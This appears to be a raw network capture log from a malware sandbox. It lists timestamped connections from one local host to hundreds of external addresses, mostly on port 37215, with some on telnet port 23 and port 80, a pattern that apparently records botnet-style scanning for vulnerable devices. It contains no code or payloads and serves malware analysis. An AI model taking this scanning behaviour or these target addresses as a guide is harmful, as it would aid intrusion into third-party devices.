Jan 2, 2024 06:23:50.693627119 CET	24529	37215	192.168.2.23	41.16.121.187
Jan 2, 2024 06:23:50.693638086 CET	24529	37215	192.168.2.23	41.148.240.74
Jan 2, 2024 06:23:50.693641901 CET	24529	37215	192.168.2.23	156.33.124.67
Jan 2, 2024 06:23:50.693653107 CET	24529	37215	192.168.2.23	156.47.239.3
Jan 2, 2024 06:23:50.693665981 CET	24529	37215	192.168.2.23	156.9.151.133
Jan 2, 2024 06:23:50.693674088 CET	24529	37215	192.168.2.23	41.234.59.180
Jan 2, 2024 06:23:50.693677902 CET	24529	37215	192.168.2.23	41.211.30.217
Jan 2, 2024 06:23:50.693718910 CET	24529	37215	192.168.2.23	156.111.69.235
Jan 2, 2024 06:23:50.693718910 CET	24529	37215	192.168.2.23	156.47.65.87
Jan 2, 2024 06:23:50.693718910 CET	24529	37215	192.168.2.23	197.153.165.244
Jan 2, 2024 06:23:50.693720102 CET	24529	37215	192.168.2.23	197.60.247.199
Jan 2, 2024 06:23:50.693725109 CET	24529	37215	192.168.2.23	156.84.53.153
Jan 2, 2024 06:23:50.693726063 CET	24529	37215	192.168.2.23	197.152.250.204
Jan 2, 2024 06:23:50.693731070 CET	24529	37215	192.168.2.23	41.168.97.99
Jan 2, 2024 06:23:50.693734884 CET	24529	37215	192.168.2.23	197.28.135.189
Jan 2, 2024 06:23:50.693736076 CET	24529	37215	192.168.2.23	156.82.251.217
Jan 2, 2024 06:23:50.693736076 CET	24529	37215	192.168.2.23	41.213.207.240
Jan 2, 2024 06:23:50.693737030 CET	24529	37215	192.168.2.23	41.76.73.253
Jan 2, 2024 06:23:50.693737984 CET	24529	37215	192.168.2.23	197.82.103.138
Jan 2, 2024 06:23:50.693737984 CET	24529	37215	192.168.2.23	41.84.203.0
Jan 2, 2024 06:23:50.693741083 CET	24529	37215	192.168.2.23	197.40.84.34
Jan 2, 2024 06:23:50.693746090 CET	24529	37215	192.168.2.23	41.224.222.239
Jan 2, 2024 06:23:50.693756104 CET	24529	37215	192.168.2.23	197.107.166.33
Jan 2, 2024 06:23:50.693774939 CET	24529	37215	192.168.2.23	41.188.232.253
Jan 2, 2024 06:23:50.693778038 CET	24529	37215	192.168.2.23	41.7.239.147
Jan 2, 2024 06:23:50.693788052 CET	24529	37215	192.168.2.23	197.38.93.155
Jan 2, 2024 06:23:50.693798065 CET	24529	37215	192.168.2.23	41.20.120.186
Jan 2, 2024 06:23:50.693806887 CET	24529	37215	192.168.2.23	41.19.19.246
Jan 2, 2024 06:23:50.693808079 CET	24529	37215	192.168.2.23	41.250.167.113
Jan 2, 2024 06:23:50.693820000 CET	24529	37215	192.168.2.23	156.110.182.159
Jan 2, 2024 06:23:50.693837881 CET	24529	37215	192.168.2.23	197.245.208.97
Jan 2, 2024 06:23:50.693837881 CET	24529	37215	192.168.2.23	197.128.133.145
Jan 2, 2024 06:23:50.693847895 CET	24529	37215	192.168.2.23	156.61.61.252
Jan 2, 2024 06:23:50.693862915 CET	24529	37215	192.168.2.23	197.140.208.159
Jan 2, 2024 06:23:50.693875074 CET	24529	37215	192.168.2.23	197.199.105.171
Jan 2, 2024 06:23:50.693875074 CET	24529	37215	192.168.2.23	197.10.34.200
Jan 2, 2024 06:23:50.693895102 CET	24529	37215	192.168.2.23	156.187.15.245
Jan 2, 2024 06:23:50.693912983 CET	24529	37215	192.168.2.23	156.212.17.153
Jan 2, 2024 06:23:50.693917036 CET	24529	37215	192.168.2.23	41.79.34.119
Jan 2, 2024 06:23:50.693936110 CET	24529	37215	192.168.2.23	156.55.18.14
Jan 2, 2024 06:23:50.693944931 CET	24529	37215	192.168.2.23	156.148.30.32
Jan 2, 2024 06:23:50.693955898 CET	24529	37215	192.168.2.23	156.242.66.92
Jan 2, 2024 06:23:50.693973064 CET	24529	37215	192.168.2.23	41.65.15.238
Jan 2, 2024 06:23:50.693989038 CET	24529	37215	192.168.2.23	156.59.163.250
Jan 2, 2024 06:23:50.693990946 CET	24529	37215	192.168.2.23	197.225.226.78
Jan 2, 2024 06:23:50.693998098 CET	24529	37215	192.168.2.23	41.120.143.232
Jan 2, 2024 06:23:50.694015026 CET	24529	37215	192.168.2.23	41.190.145.82
Jan 2, 2024 06:23:50.694026947 CET	24529	37215	192.168.2.23	156.242.176.53
Jan 2, 2024 06:23:50.694045067 CET	24529	37215	192.168.2.23	41.1.203.244
Jan 2, 2024 06:23:50.694051981 CET	24529	37215	192.168.2.23	197.114.166.206
Jan 2, 2024 06:23:50.694061995 CET	24529	37215	192.168.2.23	156.16.243.14
Jan 2, 2024 06:23:50.694077015 CET	24529	37215	192.168.2.23	41.49.88.230
Jan 2, 2024 06:23:50.694081068 CET	24529	37215	192.168.2.23	156.152.42.187
Jan 2, 2024 06:23:50.694091082 CET	24529	37215	192.168.2.23	197.114.119.203
Jan 2, 2024 06:23:50.694103003 CET	24529	37215	192.168.2.23	197.96.144.251
Jan 2, 2024 06:23:50.694120884 CET	24529	37215	192.168.2.23	41.216.24.249
Jan 2, 2024 06:23:50.694133997 CET	24529	37215	192.168.2.23	156.68.89.19
Jan 2, 2024 06:23:50.694138050 CET	24529	37215	192.168.2.23	197.103.32.203
Jan 2, 2024 06:23:50.694154978 CET	24529	37215	192.168.2.23	41.4.95.198
Jan 2, 2024 06:23:50.694160938 CET	24529	37215	192.168.2.23	41.63.13.232
Jan 2, 2024 06:23:50.694164991 CET	24529	37215	192.168.2.23	197.52.52.197
Jan 2, 2024 06:23:50.694185019 CET	24529	37215	192.168.2.23	156.81.187.2
Jan 2, 2024 06:23:50.694190025 CET	24529	37215	192.168.2.23	197.110.9.253
Jan 2, 2024 06:23:50.694215059 CET	24529	37215	192.168.2.23	41.55.46.217
Jan 2, 2024 06:23:50.694216967 CET	24529	37215	192.168.2.23	41.186.87.181
Jan 2, 2024 06:23:50.694216967 CET	24529	37215	192.168.2.23	41.187.63.29
Jan 2, 2024 06:23:50.694222927 CET	24529	37215	192.168.2.23	156.171.206.87
Jan 2, 2024 06:23:50.694225073 CET	24529	37215	192.168.2.23	41.219.144.104
Jan 2, 2024 06:23:50.694225073 CET	24529	37215	192.168.2.23	156.238.127.169
Jan 2, 2024 06:23:50.694225073 CET	24529	37215	192.168.2.23	197.25.5.223
Jan 2, 2024 06:23:50.694232941 CET	24529	37215	192.168.2.23	197.34.113.141
Jan 2, 2024 06:23:50.694232941 CET	24529	37215	192.168.2.23	156.105.44.40
Jan 2, 2024 06:23:50.694233894 CET	24529	37215	192.168.2.23	197.235.16.55
Jan 2, 2024 06:23:50.694242001 CET	24529	37215	192.168.2.23	156.146.121.208
Jan 2, 2024 06:23:50.694242001 CET	24529	37215	192.168.2.23	156.135.197.177
Jan 2, 2024 06:23:50.694242954 CET	24529	37215	192.168.2.23	41.2.64.48
Jan 2, 2024 06:23:50.694245100 CET	24529	37215	192.168.2.23	41.133.205.109
Jan 2, 2024 06:23:50.694258928 CET	24529	37215	192.168.2.23	156.133.144.45
Jan 2, 2024 06:23:50.694267035 CET	24529	37215	192.168.2.23	197.83.176.157
Jan 2, 2024 06:23:50.694267035 CET	24529	37215	192.168.2.23	156.165.157.160
Jan 2, 2024 06:23:50.694267988 CET	24529	37215	192.168.2.23	41.90.244.23
Jan 2, 2024 06:23:50.694268942 CET	24529	37215	192.168.2.23	156.118.168.137
Jan 2, 2024 06:23:50.694268942 CET	24529	37215	192.168.2.23	41.39.33.160
Jan 2, 2024 06:23:50.694339037 CET	24529	37215	192.168.2.23	197.32.188.154
Jan 2, 2024 06:23:50.694339037 CET	24529	37215	192.168.2.23	197.31.99.30
Jan 2, 2024 06:23:50.694339037 CET	24529	37215	192.168.2.23	197.69.38.24
Jan 2, 2024 06:23:50.694340944 CET	24529	37215	192.168.2.23	197.202.118.244
Jan 2, 2024 06:23:50.694348097 CET	24529	37215	192.168.2.23	156.97.108.193
Jan 2, 2024 06:23:50.694355011 CET	24529	37215	192.168.2.23	156.16.202.94
Jan 2, 2024 06:23:50.694370985 CET	24529	37215	192.168.2.23	156.42.108.17
Jan 2, 2024 06:23:50.694400072 CET	24529	37215	192.168.2.23	156.34.88.214
Jan 2, 2024 06:23:50.694403887 CET	24529	37215	192.168.2.23	41.77.139.178
Jan 2, 2024 06:23:50.694410086 CET	24529	37215	192.168.2.23	41.204.79.110
Jan 2, 2024 06:23:50.694412947 CET	24529	37215	192.168.2.23	41.250.72.161
Jan 2, 2024 06:23:50.694412947 CET	24529	37215	192.168.2.23	41.52.245.222
Jan 2, 2024 06:23:50.694417000 CET	24529	37215	192.168.2.23	156.165.214.61
Jan 2, 2024 06:23:50.694427013 CET	24529	37215	192.168.2.23	197.217.220.137
Jan 2, 2024 06:23:50.694437981 CET	24529	37215	192.168.2.23	156.101.59.128
Jan 2, 2024 06:23:50.694437981 CET	24529	37215	192.168.2.23	197.184.172.106
Jan 2, 2024 06:23:50.694447994 CET	24529	37215	192.168.2.23	156.27.245.102
Jan 2, 2024 06:23:50.694452047 CET	24529	37215	192.168.2.23	156.193.148.223
Jan 2, 2024 06:23:50.694468021 CET	24529	37215	192.168.2.23	197.245.10.206
Jan 2, 2024 06:23:50.694470882 CET	24529	37215	192.168.2.23	197.13.205.194
Jan 2, 2024 06:23:50.694470882 CET	24529	37215	192.168.2.23	197.96.201.36
Jan 2, 2024 06:23:50.694490910 CET	24529	37215	192.168.2.23	41.183.170.101
Jan 2, 2024 06:23:50.694494963 CET	24529	37215	192.168.2.23	197.165.80.16
Jan 2, 2024 06:23:50.694511890 CET	24529	37215	192.168.2.23	197.240.226.45
Jan 2, 2024 06:23:50.694514990 CET	24529	37215	192.168.2.23	156.249.126.75
Jan 2, 2024 06:23:50.694529057 CET	24529	37215	192.168.2.23	197.146.4.134
Jan 2, 2024 06:23:50.694540024 CET	24529	37215	192.168.2.23	197.15.1.255
Jan 2, 2024 06:23:50.694549084 CET	24529	37215	192.168.2.23	156.12.140.39
Jan 2, 2024 06:23:50.694561958 CET	24529	37215	192.168.2.23	41.147.84.228
Jan 2, 2024 06:23:50.694577932 CET	24529	37215	192.168.2.23	41.23.129.193
Jan 2, 2024 06:23:50.694586992 CET	24529	37215	192.168.2.23	156.250.168.73
Jan 2, 2024 06:23:50.694593906 CET	24529	37215	192.168.2.23	197.114.93.86
Jan 2, 2024 06:23:50.694611073 CET	24529	37215	192.168.2.23	197.206.198.82
Jan 2, 2024 06:23:50.694612980 CET	24529	37215	192.168.2.23	156.221.5.225
Jan 2, 2024 06:23:50.694621086 CET	24529	37215	192.168.2.23	41.252.232.41
Jan 2, 2024 06:23:50.694628954 CET	24529	37215	192.168.2.23	197.129.142.93
Jan 2, 2024 06:23:50.694647074 CET	24529	37215	192.168.2.23	156.117.75.6
Jan 2, 2024 06:23:50.694654942 CET	24529	37215	192.168.2.23	156.53.227.210
Jan 2, 2024 06:23:50.694674969 CET	24529	37215	192.168.2.23	41.185.147.159
Jan 2, 2024 06:23:50.694686890 CET	24529	37215	192.168.2.23	156.185.106.237
Jan 2, 2024 06:23:50.694706917 CET	24529	37215	192.168.2.23	41.124.12.85
Jan 2, 2024 06:23:50.694710016 CET	24529	37215	192.168.2.23	197.20.19.150
Jan 2, 2024 06:23:50.694722891 CET	24529	37215	192.168.2.23	41.79.5.116
Jan 2, 2024 06:23:50.694746971 CET	24529	37215	192.168.2.23	197.94.117.57
Jan 2, 2024 06:23:50.694747925 CET	24529	37215	192.168.2.23	156.126.156.83
Jan 2, 2024 06:23:50.694762945 CET	24529	37215	192.168.2.23	156.119.255.175
Jan 2, 2024 06:23:50.694776058 CET	24529	37215	192.168.2.23	41.45.124.18
Jan 2, 2024 06:23:50.694786072 CET	24529	37215	192.168.2.23	197.103.201.215
Jan 2, 2024 06:23:50.694789886 CET	24529	37215	192.168.2.23	197.239.180.160
Jan 2, 2024 06:23:50.694804907 CET	24529	37215	192.168.2.23	156.147.106.72
Jan 2, 2024 06:23:50.694820881 CET	24529	37215	192.168.2.23	156.243.29.141
Jan 2, 2024 06:23:50.694829941 CET	24529	37215	192.168.2.23	41.128.231.48
Jan 2, 2024 06:23:50.694839954 CET	24529	37215	192.168.2.23	156.82.40.85
Jan 2, 2024 06:23:50.694840908 CET	24529	37215	192.168.2.23	41.179.51.1
Jan 2, 2024 06:23:50.694863081 CET	24529	37215	192.168.2.23	156.140.6.218
Jan 2, 2024 06:23:50.694866896 CET	24529	37215	192.168.2.23	197.247.203.139
Jan 2, 2024 06:23:50.694880009 CET	24529	37215	192.168.2.23	197.195.79.130
Jan 2, 2024 06:23:50.694881916 CET	24529	37215	192.168.2.23	156.195.223.179
Jan 2, 2024 06:23:50.694897890 CET	24529	37215	192.168.2.23	41.193.225.83
Jan 2, 2024 06:23:50.694909096 CET	24529	37215	192.168.2.23	156.112.57.54
Jan 2, 2024 06:23:50.694922924 CET	24529	37215	192.168.2.23	41.83.47.83
Jan 2, 2024 06:23:50.694937944 CET	24529	37215	192.168.2.23	41.164.87.155
Jan 2, 2024 06:23:50.694952965 CET	24529	37215	192.168.2.23	197.41.115.23
Jan 2, 2024 06:23:50.694962025 CET	24529	37215	192.168.2.23	156.66.254.203
Jan 2, 2024 06:23:50.694968939 CET	24529	37215	192.168.2.23	41.123.98.55
Jan 2, 2024 06:23:50.694983006 CET	24529	37215	192.168.2.23	197.7.235.150
Jan 2, 2024 06:23:50.694998980 CET	24529	37215	192.168.2.23	41.55.16.128
Jan 2, 2024 06:23:50.695002079 CET	24529	37215	192.168.2.23	156.186.14.11
Jan 2, 2024 06:23:50.695018053 CET	24529	37215	192.168.2.23	41.8.173.197
Jan 2, 2024 06:23:50.695020914 CET	24529	37215	192.168.2.23	41.149.245.239
Jan 2, 2024 06:23:50.695039034 CET	24529	37215	192.168.2.23	197.241.133.233
Jan 2, 2024 06:23:50.695040941 CET	24529	37215	192.168.2.23	197.59.108.187
Jan 2, 2024 06:23:50.695049047 CET	24529	37215	192.168.2.23	197.44.209.97
Jan 2, 2024 06:23:50.695064068 CET	24529	37215	192.168.2.23	197.48.212.219
Jan 2, 2024 06:23:50.695070028 CET	24529	37215	192.168.2.23	41.76.214.85
Jan 2, 2024 06:23:50.695086002 CET	24529	37215	192.168.2.23	197.58.194.25
Jan 2, 2024 06:23:50.695086002 CET	24529	37215	192.168.2.23	197.11.117.212
Jan 2, 2024 06:23:50.695096016 CET	24529	37215	192.168.2.23	41.78.17.161
Jan 2, 2024 06:23:50.695113897 CET	24529	37215	192.168.2.23	156.191.124.44
Jan 2, 2024 06:23:50.695116997 CET	24529	37215	192.168.2.23	156.157.96.9
Jan 2, 2024 06:23:50.695141077 CET	24529	37215	192.168.2.23	197.3.144.47
Jan 2, 2024 06:23:50.695142984 CET	24529	37215	192.168.2.23	197.125.56.68
Jan 2, 2024 06:23:50.695162058 CET	24529	37215	192.168.2.23	197.41.235.221
Jan 2, 2024 06:23:50.695162058 CET	24529	37215	192.168.2.23	197.12.238.229
Jan 2, 2024 06:23:50.695171118 CET	24529	37215	192.168.2.23	197.94.205.94
Jan 2, 2024 06:23:50.695184946 CET	24529	37215	192.168.2.23	41.201.17.116
Jan 2, 2024 06:23:50.695202112 CET	24529	37215	192.168.2.23	156.27.88.11
Jan 2, 2024 06:23:50.695209026 CET	24529	37215	192.168.2.23	156.176.189.0
Jan 2, 2024 06:23:50.695218086 CET	24529	37215	192.168.2.23	41.243.198.158
Jan 2, 2024 06:23:50.695219040 CET	24529	37215	192.168.2.23	41.206.253.225
Jan 2, 2024 06:23:50.695229053 CET	24529	37215	192.168.2.23	197.94.156.47
Jan 2, 2024 06:23:50.695250034 CET	24529	37215	192.168.2.23	197.252.169.137
Jan 2, 2024 06:23:50.695262909 CET	24529	37215	192.168.2.23	197.65.170.31
Jan 2, 2024 06:23:50.695274115 CET	24529	37215	192.168.2.23	197.64.10.191
Jan 2, 2024 06:23:50.695286989 CET	24529	37215	192.168.2.23	156.34.19.194
Jan 2, 2024 06:23:50.695295095 CET	24529	37215	192.168.2.23	41.128.241.82
Jan 2, 2024 06:23:50.695307970 CET	24529	37215	192.168.2.23	41.224.185.117
Jan 2, 2024 06:23:50.695312023 CET	24529	37215	192.168.2.23	156.5.198.131
Jan 2, 2024 06:23:50.695326090 CET	24529	37215	192.168.2.23	156.123.181.140
Jan 2, 2024 06:23:50.695334911 CET	24529	37215	192.168.2.23	197.141.90.14
Jan 2, 2024 06:23:50.695348024 CET	24529	37215	192.168.2.23	41.52.118.215
Jan 2, 2024 06:23:50.695357084 CET	24529	37215	192.168.2.23	197.210.132.104
Jan 2, 2024 06:23:50.695363045 CET	24529	37215	192.168.2.23	197.18.186.60
Jan 2, 2024 06:23:50.695378065 CET	24529	37215	192.168.2.23	156.154.218.179
Jan 2, 2024 06:23:50.695384979 CET	24529	37215	192.168.2.23	197.170.48.67
Jan 2, 2024 06:23:50.695385933 CET	24529	37215	192.168.2.23	197.244.225.145
Jan 2, 2024 06:23:50.695395947 CET	24529	37215	192.168.2.23	41.248.192.197
Jan 2, 2024 06:23:50.695416927 CET	24529	37215	192.168.2.23	156.215.214.233
Jan 2, 2024 06:23:50.695420980 CET	24529	37215	192.168.2.23	197.74.123.27
Jan 2, 2024 06:23:50.695429087 CET	24529	37215	192.168.2.23	156.253.247.58
Jan 2, 2024 06:23:50.695446968 CET	24529	37215	192.168.2.23	197.32.80.113
Jan 2, 2024 06:23:50.695447922 CET	24529	37215	192.168.2.23	41.17.139.12
Jan 2, 2024 06:23:50.695446968 CET	24529	37215	192.168.2.23	41.247.62.233
Jan 2, 2024 06:23:50.695466042 CET	24529	37215	192.168.2.23	41.199.125.117
Jan 2, 2024 06:23:50.695472002 CET	24529	37215	192.168.2.23	197.231.202.236
Jan 2, 2024 06:23:50.695489883 CET	24529	37215	192.168.2.23	41.200.248.194
Jan 2, 2024 06:23:50.695491076 CET	24529	37215	192.168.2.23	197.184.43.62
Jan 2, 2024 06:23:50.695496082 CET	24529	37215	192.168.2.23	197.202.122.157
Jan 2, 2024 06:23:50.695499897 CET	24529	37215	192.168.2.23	197.255.214.72
Jan 2, 2024 06:23:50.695516109 CET	24529	37215	192.168.2.23	156.68.220.72
Jan 2, 2024 06:23:50.695530891 CET	24529	37215	192.168.2.23	156.25.184.125
Jan 2, 2024 06:23:50.695533037 CET	24529	37215	192.168.2.23	197.88.203.103
Jan 2, 2024 06:23:50.695538998 CET	24529	37215	192.168.2.23	41.254.70.4
Jan 2, 2024 06:23:50.695559025 CET	24529	37215	192.168.2.23	156.139.74.135
Jan 2, 2024 06:23:50.695565939 CET	24529	37215	192.168.2.23	41.141.224.73
Jan 2, 2024 06:23:50.695579052 CET	24529	37215	192.168.2.23	41.120.57.210
Jan 2, 2024 06:23:50.695585012 CET	24529	37215	192.168.2.23	197.54.11.18
Jan 2, 2024 06:23:50.695585966 CET	24529	37215	192.168.2.23	156.54.152.224
Jan 2, 2024 06:23:50.695599079 CET	24529	37215	192.168.2.23	41.142.151.54
Jan 2, 2024 06:23:50.695600986 CET	24529	37215	192.168.2.23	156.150.142.48
Jan 2, 2024 06:23:50.695621967 CET	24529	37215	192.168.2.23	197.26.29.116
Jan 2, 2024 06:23:50.695621967 CET	24529	37215	192.168.2.23	41.109.226.241
Jan 2, 2024 06:23:50.695625067 CET	24529	37215	192.168.2.23	156.203.92.16
Jan 2, 2024 06:23:50.695638895 CET	24529	37215	192.168.2.23	41.166.49.138
Jan 2, 2024 06:23:50.695640087 CET	24529	37215	192.168.2.23	41.146.47.9
Jan 2, 2024 06:23:50.695656061 CET	24529	37215	192.168.2.23	197.195.174.221
Jan 2, 2024 06:23:50.695661068 CET	24529	37215	192.168.2.23	197.75.233.228
Jan 2, 2024 06:23:50.695672989 CET	24529	37215	192.168.2.23	156.143.3.211
Jan 2, 2024 06:23:50.695681095 CET	24529	37215	192.168.2.23	197.190.231.168
Jan 2, 2024 06:23:50.695698023 CET	24529	37215	192.168.2.23	197.105.100.86
Jan 2, 2024 06:23:50.695698977 CET	24529	37215	192.168.2.23	41.13.44.251
Jan 2, 2024 06:23:50.695713997 CET	24529	37215	192.168.2.23	156.20.40.85
Jan 2, 2024 06:23:50.695715904 CET	24529	37215	192.168.2.23	41.157.200.56
Jan 2, 2024 06:23:50.695734978 CET	24529	37215	192.168.2.23	197.228.250.224
Jan 2, 2024 06:23:50.695746899 CET	24529	37215	192.168.2.23	156.23.165.55
Jan 2, 2024 06:23:50.695759058 CET	24529	37215	192.168.2.23	41.200.244.126
Jan 2, 2024 06:23:50.695772886 CET	24529	37215	192.168.2.23	41.209.112.95
Jan 2, 2024 06:23:50.695782900 CET	24529	37215	192.168.2.23	156.255.103.235
Jan 2, 2024 06:23:50.695791960 CET	24529	37215	192.168.2.23	156.232.139.230
Jan 2, 2024 06:23:50.695796967 CET	24529	37215	192.168.2.23	41.79.201.124
Jan 2, 2024 06:23:50.695811033 CET	24529	37215	192.168.2.23	156.44.201.156
Jan 2, 2024 06:23:50.695815086 CET	24529	37215	192.168.2.23	41.253.162.60
Jan 2, 2024 06:23:50.695835114 CET	24529	37215	192.168.2.23	156.42.95.54
Jan 2, 2024 06:23:50.695839882 CET	24529	37215	192.168.2.23	156.155.189.63
Jan 2, 2024 06:23:50.695842981 CET	24529	37215	192.168.2.23	156.11.141.159
Jan 2, 2024 06:23:50.695869923 CET	24529	37215	192.168.2.23	156.111.167.81
Jan 2, 2024 06:23:50.695869923 CET	24529	37215	192.168.2.23	41.110.13.97
Jan 2, 2024 06:23:50.695878983 CET	24529	37215	192.168.2.23	197.81.77.231
Jan 2, 2024 06:23:50.695880890 CET	24529	37215	192.168.2.23	156.14.216.46
Jan 2, 2024 06:23:50.695903063 CET	24529	37215	192.168.2.23	41.243.157.132
Jan 2, 2024 06:23:50.695913076 CET	24529	37215	192.168.2.23	41.20.241.142
Jan 2, 2024 06:23:50.695929050 CET	24529	37215	192.168.2.23	41.159.216.122
Jan 2, 2024 06:23:50.695930004 CET	24529	37215	192.168.2.23	156.211.38.236
Jan 2, 2024 06:23:50.695945024 CET	24529	37215	192.168.2.23	41.63.99.230
Jan 2, 2024 06:23:50.695965052 CET	24529	37215	192.168.2.23	197.227.166.152
Jan 2, 2024 06:23:50.695982933 CET	24529	37215	192.168.2.23	156.229.230.161
Jan 2, 2024 06:23:50.695985079 CET	24529	37215	192.168.2.23	197.177.196.58
Jan 2, 2024 06:23:50.695996046 CET	24529	37215	192.168.2.23	156.211.18.64
Jan 2, 2024 06:23:50.695996046 CET	24529	37215	192.168.2.23	156.126.5.234
Jan 2, 2024 06:23:50.696019888 CET	24529	37215	192.168.2.23	197.88.84.46
Jan 2, 2024 06:23:50.696033001 CET	24529	37215	192.168.2.23	156.0.30.68
Jan 2, 2024 06:23:50.696048021 CET	24529	37215	192.168.2.23	197.94.18.106
Jan 2, 2024 06:23:50.696048021 CET	24529	37215	192.168.2.23	197.221.174.101
Jan 2, 2024 06:23:50.696055889 CET	24529	37215	192.168.2.23	197.183.185.103
Jan 2, 2024 06:23:50.696058989 CET	24529	37215	192.168.2.23	41.67.32.97
Jan 2, 2024 06:23:50.696069956 CET	24529	37215	192.168.2.23	156.208.106.87
Jan 2, 2024 06:23:50.696074963 CET	24529	37215	192.168.2.23	156.61.120.49
Jan 2, 2024 06:23:50.696089029 CET	24529	37215	192.168.2.23	156.111.6.153
Jan 2, 2024 06:23:50.696104050 CET	24529	37215	192.168.2.23	156.122.19.224
Jan 2, 2024 06:23:50.696118116 CET	24529	37215	192.168.2.23	41.10.224.61
Jan 2, 2024 06:23:50.696119070 CET	24529	37215	192.168.2.23	197.44.76.209
Jan 2, 2024 06:23:50.696119070 CET	24529	37215	192.168.2.23	197.213.137.190
Jan 2, 2024 06:23:50.696140051 CET	24529	37215	192.168.2.23	197.48.33.228
Jan 2, 2024 06:23:50.696150064 CET	24529	37215	192.168.2.23	156.180.210.185
Jan 2, 2024 06:23:50.696151018 CET	24529	37215	192.168.2.23	197.176.228.173
Jan 2, 2024 06:23:50.696168900 CET	24529	37215	192.168.2.23	41.84.217.2
Jan 2, 2024 06:23:50.696183920 CET	24529	37215	192.168.2.23	41.74.213.161
Jan 2, 2024 06:23:50.696192026 CET	24529	37215	192.168.2.23	41.222.74.75
Jan 2, 2024 06:23:50.696212053 CET	24529	37215	192.168.2.23	156.213.132.187
Jan 2, 2024 06:23:50.696228027 CET	24529	37215	192.168.2.23	156.67.87.27
Jan 2, 2024 06:23:50.696238995 CET	24529	37215	192.168.2.23	156.17.27.181
Jan 2, 2024 06:23:50.696244955 CET	24529	37215	192.168.2.23	197.113.68.12
Jan 2, 2024 06:23:50.696259975 CET	24529	37215	192.168.2.23	156.118.39.198
Jan 2, 2024 06:23:50.696274996 CET	24529	37215	192.168.2.23	156.255.215.9
Jan 2, 2024 06:23:50.696285009 CET	24529	37215	192.168.2.23	197.236.11.17
Jan 2, 2024 06:23:50.696300983 CET	24529	37215	192.168.2.23	41.179.176.228
Jan 2, 2024 06:23:50.696316004 CET	24529	37215	192.168.2.23	156.185.36.81
Jan 2, 2024 06:23:50.696317911 CET	24529	37215	192.168.2.23	156.17.187.45
Jan 2, 2024 06:23:50.696394920 CET	44164	37215	192.168.2.23	41.90.221.187
Jan 2, 2024 06:23:50.706034899 CET	48526	37215	192.168.2.23	156.241.14.153
Jan 2, 2024 06:23:50.706037045 CET	51726	37215	192.168.2.23	156.247.18.93
Jan 2, 2024 06:23:50.706037045 CET	60306	37215	192.168.2.23	156.73.138.211
Jan 2, 2024 06:23:50.753340006 CET	80	59276	91.215.216.43	192.168.2.23
Jan 2, 2024 06:23:50.753432035 CET	59276	80	192.168.2.23	91.215.216.43
Jan 2, 2024 06:23:50.753432035 CET	59276	80	192.168.2.23	91.215.216.43
Jan 2, 2024 06:23:50.760524035 CET	80	59224	91.215.216.43	192.168.2.23
Jan 2, 2024 06:23:50.760756016 CET	80	59224	91.215.216.43	192.168.2.23
Jan 2, 2024 06:23:50.760767937 CET	80	59224	91.215.216.43	192.168.2.23
Jan 2, 2024 06:23:50.760808945 CET	59224	80	192.168.2.23	91.215.216.43
Jan 2, 2024 06:23:50.760808945 CET	59224	80	192.168.2.23	91.215.216.43
Jan 2, 2024 06:23:50.770020962 CET	56150	80	192.168.2.23	113.198.35.222
Jan 2, 2024 06:23:50.788511992 CET	80	18377	66.22.55.129	192.168.2.23
Jan 2, 2024 06:23:50.788552046 CET	18377	80	192.168.2.23	66.22.55.129
Jan 2, 2024 06:23:50.796075106 CET	80	18377	38.55.173.244	192.168.2.23
Jan 2, 2024 06:23:50.796113968 CET	18377	80	192.168.2.23	38.55.173.244
Jan 2, 2024 06:23:50.802483082 CET	80	42520	94.253.89.24	192.168.2.23
Jan 2, 2024 06:23:50.812933922 CET	80	18377	173.61.119.77	192.168.2.23
Jan 2, 2024 06:23:50.812979937 CET	18377	80	192.168.2.23	173.61.119.77
Jan 2, 2024 06:23:50.863066912 CET	37215	24529	156.242.66.92	192.168.2.23
Jan 2, 2024 06:23:50.886205912 CET	80	18377	159.69.20.60	192.168.2.23
Jan 2, 2024 06:23:50.886251926 CET	18377	80	192.168.2.23	159.69.20.60
Jan 2, 2024 06:23:50.887550116 CET	80	18377	130.83.134.66	192.168.2.23
Jan 2, 2024 06:23:50.894536018 CET	80	18377	5.133.222.136	192.168.2.23
Jan 2, 2024 06:23:50.894598961 CET	18377	80	192.168.2.23	5.133.222.136
Jan 2, 2024 06:23:50.941056967 CET	80	18377	43.200.176.121	192.168.2.23
Jan 2, 2024 06:23:50.955125093 CET	80	18377	178.112.213.155	192.168.2.23
Jan 2, 2024 06:23:50.973653078 CET	80	18377	160.121.60.205	192.168.2.23
Jan 2, 2024 06:23:50.973702908 CET	18377	80	192.168.2.23	160.121.60.205
Jan 2, 2024 06:23:50.974591970 CET	80	38648	89.218.57.128	192.168.2.23
Jan 2, 2024 06:23:50.974639893 CET	38648	80	192.168.2.23	89.218.57.128
Jan 2, 2024 06:23:51.007200956 CET	37215	24529	197.13.205.194	192.168.2.23
Jan 2, 2024 06:23:51.012801886 CET	80	59276	91.215.216.43	192.168.2.23
Jan 2, 2024 06:23:51.012862921 CET	80	59276	91.215.216.43	192.168.2.23
Jan 2, 2024 06:23:51.012908936 CET	59276	80	192.168.2.23	91.215.216.43
Jan 2, 2024 06:23:51.072217941 CET	80	18377	105.141.212.42	192.168.2.23
Jan 2, 2024 06:23:51.094398022 CET	37215	24529	41.222.74.75	192.168.2.23
Jan 2, 2024 06:23:51.162326097 CET	80	18377	111.81.168.55	192.168.2.23
Jan 2, 2024 06:23:51.200062990 CET	14265	23	192.168.2.23	175.11.245.89
Jan 2, 2024 06:23:51.200067043 CET	14265	23	192.168.2.23	126.43.189.62
Jan 2, 2024 06:23:51.200067043 CET	14265	23	192.168.2.23	191.223.196.41
Jan 2, 2024 06:23:51.200068951 CET	14265	23	192.168.2.23	46.199.179.28
Jan 2, 2024 06:23:51.200077057 CET	14265	23	192.168.2.23	156.101.106.171
Jan 2, 2024 06:23:51.200089931 CET	14265	23	192.168.2.23	86.205.59.250
Jan 2, 2024 06:23:51.200089931 CET	14265	23	192.168.2.23	193.244.189.206
Jan 2, 2024 06:23:51.200092077 CET	14265	23	192.168.2.23	111.128.171.127
Jan 2, 2024 06:23:51.200092077 CET	14265	23	192.168.2.23	79.24.53.113
Jan 2, 2024 06:23:51.200109005 CET	14265	23	192.168.2.23	78.245.103.242
Jan 2, 2024 06:23:51.200109005 CET	14265	23	192.168.2.23	145.38.204.4
Jan 2, 2024 06:23:51.200118065 CET	14265	23	192.168.2.23	119.52.221.169
Jan 2, 2024 06:23:51.200120926 CET	14265	23	192.168.2.23	48.114.119.144
Jan 2, 2024 06:23:51.200130939 CET	14265	23	192.168.2.23	27.233.54.39
